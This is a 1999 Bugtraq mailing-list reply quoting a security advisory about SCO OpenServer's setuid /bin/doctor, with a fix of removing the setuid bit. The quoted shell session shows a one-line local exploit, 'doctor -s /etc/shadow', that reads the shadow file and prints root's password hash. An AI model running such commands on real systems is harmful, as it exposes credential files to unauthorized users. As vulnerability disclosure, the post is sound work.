Bugtraq: Re: SCO 5.0.5 /bin/doctor local root comprimise

[sarnold () WILLAMETTE EDU (Seth R Arnold)]

confirmed to run under 5.0.4 as well.

On Fri, Sep 03, 1999 at 05:20:17PM -0500, Brock Tellier wrote:
> Greetings,
>
>
> INFO:
>  There is a local root comprimise in SCO 5.0.5's /bin/doctor 2.0.0e2 and probably others.  By supplying a doctor 
> script file you can read the first partial line of any file on the system (good enough for /etc/shadow).  Example:
>
> scobox:/bin$ id
> uid=136(btellier),200(users)
> scobox:/bin$ uname -a
> SCO_SV scobox 3.2 5.0.5 i386
> scobox:/bin$ doctor -V
> doctor 2.0.0e 2
> scobox:/bin$ doctor -s /etc/shadow
> doctor: WARNING User message: invalid command name "root:xbfOLR0ekXN/o:10656::"
> scobox:/bin$
>
> And so on.
>
> FIX:
>  Just chmod -s until SCO comes out with a fix.  Although I certianly won't be changing it back to suid root anytime 
> soon.  If a hole like this exists, there are undoubtedly countless more lurking within.
>
> Brock Tellier
> Systems Administrator
> Webley Systems
--
Seth Arnold | http://www.willamette.edu/~sarnold/
Hate spam? See http://maps.vix.com/rbl/ for help
Hi! I'm a .signature virus! Copy me into
your ~/.signature to help me spread!